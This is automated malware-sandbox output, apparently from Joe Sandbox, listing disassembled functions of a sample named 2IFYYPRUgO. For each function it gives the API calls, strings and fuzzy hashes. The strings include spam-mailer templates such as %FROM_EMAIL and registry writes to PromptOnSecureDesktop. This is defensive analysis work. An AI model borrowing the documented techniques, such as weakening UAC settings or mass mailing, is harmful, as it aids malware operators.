Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: bcbddcd9eba7de6560bd5b8e57fe17153da0ab57b0dfc643b26fb3ee5baf1650
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: 1001E57691111AEBDF01DF90ED88BEE7BACFB18255F008065FD01E2050D770AA648BB6

Function 040C41F3 Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 040C421F
GetLastError.KERNEL32 ref: 040C4229
WaitForSingleObject.KERNEL32(?,?), ref: 040C423A
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 040C424D

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 9eb90472742c74d9eb5aee9375df1af19f769fd02ff080620e8aeabe8bed2e0b
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: DA01E272911209ABDF01DF90EE85BEE7BACFB08256F418065F901E2050D770AA548BB6

Function 040CE036 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 040CE066

Strings

A, xrefs: 040CE036
A, xrefs: 040CE037, 040CE03C
A, xrefs: 040CE07F

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: dd4d8661a2840386df2f6ecdab33410d4426c0ebb6aee27b6e416d1ad82f5053
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 39F06231200702DBCB70CF25D884A86B7E9FB05321B64862EE154E3860D374B4D8CBD5

Function 0040A4C7 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Function 00404E92 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Function 00404BD1 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Function 004030FA Relevance: 6.0, APIs: 4, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Function 0040E177 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Function 040CE3DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,040C44E2,00000000,00000000,00000000), ref: 040CE470
CloseHandle.KERNEL32(00000001,00000003), ref: 040CE484

Part of subcall function 040CE2FC: RegCreateKeyExA.ADVAPI32(80000001,040CE50A,00000000,00000000,00000000,00020106,00000000,040CE50A,00000000,000000E4), ref: 040CE319
Part of subcall function 040CE2FC: RegSetValueExA.ADVAPI32(040CE50A,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 040CE38E
Part of subcall function 040CE2FC: RegDeleteValueA.ADVAPI32(040CE50A,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 040CE3BF
Part of subcall function 040CE2FC: RegCloseKey.ADVAPI32(040CE50A,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,040CE50A), ref: 040CE3C8

Strings

PromptOnSecureDesktop, xrefs: 040CE4F1, 040CE4F6, 040CE537, 040CE561

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: dc0b41a4eff7ee6c6dcec293d5678c3fabc1950113f71fde3885c20fe15a9afc
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: BD41A7B2D40214FAEB206F51CC45FEF3BACDB04768F14816DFA09B4091E6B5A650D6E5

Function 040C8330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 040C83C6
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 040C8477

Part of subcall function 040C69C3: SetFileAttributesA.KERNEL32(?,00000080), ref: 040C69E5
Part of subcall function 040C69C3: SetFileAttributesA.KERNEL32(?,00000002), ref: 040C6A26
Part of subcall function 040C69C3: GetFileSize.KERNEL32(000000FF,00000000), ref: 040C6A3A

Part of subcall function 040CEE95: GetProcessHeap.KERNEL32(00000000,?,00000000,040C1DCF,?), ref: 040CEEA8
Part of subcall function 040CEE95: HeapFree.KERNEL32(00000000), ref: 040CEEAF

Strings

PromptOnSecureDesktop, xrefs: 040C83B2, 040C83B7, 040C8483

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: 13dfa7f483fa591d44fe3670b4c48bb8a17b785861c85d2c9f30cb09f6689e20
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 9D414DB2900109FFEB50ABA4DD80DEF77ADEB04249F1484AEE504F7050F6B06A948B69

Function 040CE631 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,040CE859,00000000,00020119,040CE859,PromptOnSecureDesktop), ref: 040CE64D
RegCloseKey.ADVAPI32(040CE859,?,?,?,?,000000C8,000000E4), ref: 040CE787

Strings

PromptOnSecureDesktop, xrefs: 040CE637

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 99a6c31d81bacc450563cafde02ecd8a7792cb164c3d91242ca2adba28d317c8
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: 174118B2D0011DFFEF11EFA4DC85DEEBBB9EB14308F10456AE900B6150E371AA559BA1

Function 040CAFF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 040CAFFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 040CB00D

Part of subcall function 040CAF6F: gethostname.WS2_32(?,00000080), ref: 040CAF83
Part of subcall function 040CAF6F: lstrcpy.KERNEL32(?,00410B90), ref: 040CAFE6

Part of subcall function 040C331C: gethostname.WS2_32(?,00000080), ref: 040C333F
Part of subcall function 040C331C: gethostbyname.WS2_32(?), ref: 040C3349

Part of subcall function 040CAA0A: inet_ntoa.WS2_32(00000000), ref: 040CAA10

Strings

%OUTLOOK_BND_, xrefs: 040CB076, 040CB07B, 040CB0BE, 040CB0DD

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: fe48fca4b32ac4f10bbd522b6bf0ac66b26e055ac1a080cefcdc1a3a70d2c822
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: FE41347290024CEBDB25EFA0DC45EEE3BADFF04308F24441AF925A2151EA75E6548F55

Function 040C9452 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 040C9536
Sleep.KERNEL32(000001F4), ref: 040C955D

Strings

, xrefs: 040C94D9

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 441ad30f2646d1b8623b46c1d7e45f404d08a6258c9d37c2b51fbe89c32dcb37
Instruction ID: ae1a748e556a10fa1d29e86c3a8de84f72d36900014bb347ae466da3039b272b
Opcode Fuzzy Hash: 441ad30f2646d1b8623b46c1d7e45f404d08a6258c9d37c2b51fbe89c32dcb37
Instruction Fuzzy Hash: 634107F1904385EFFBB6AB64D88CBEE7FE49B02314F1441ADD482B7192D6746981C711

Function 040CBC7A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 040CB9D9
InterlockedIncrement.KERNEL32(00413648), ref: 040CBA3A
InterlockedIncrement.KERNEL32(?), ref: 040CBA94
GetTickCount.KERNEL32 ref: 040CBB79
GetTickCount.KERNEL32 ref: 040CBB99
InterlockedIncrement.KERNEL32(?), ref: 040CBE15
closesocket.WS2_32(00000000), ref: 040CBEB4

Strings

%FROM_EMAIL, xrefs: 040CBC7D

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: a9206f1da198a31fca504a92e9054bdabfdd2d7954a0a32e37c747731b50ba6d
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: 5E318B71500248DFDF24DFA4EC85AEE77B8EB48700F20405AFA25A6160EB70F685CF10

Function 00408CEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Function 0040BFCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Function 004038F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Function 040C709D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 040C70BC
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 040C70F4

Strings

|, xrefs: 040C70E6

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 35141bc916a8bcfc924187f91e6434819457bb7e11b8ab2ebc0c4e8fb5d62442
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: A011FA72900119EBDB51CFD8DC84ADEB7BDAB44711F1481AAE901F7190D670AB889FA0

Function 00401B71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Function 0040AB81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44stringCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Function 004026B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Function 00402684 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg
API String ID: 1594361348-2401304539
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Function 0040EAE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,7508EA50,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
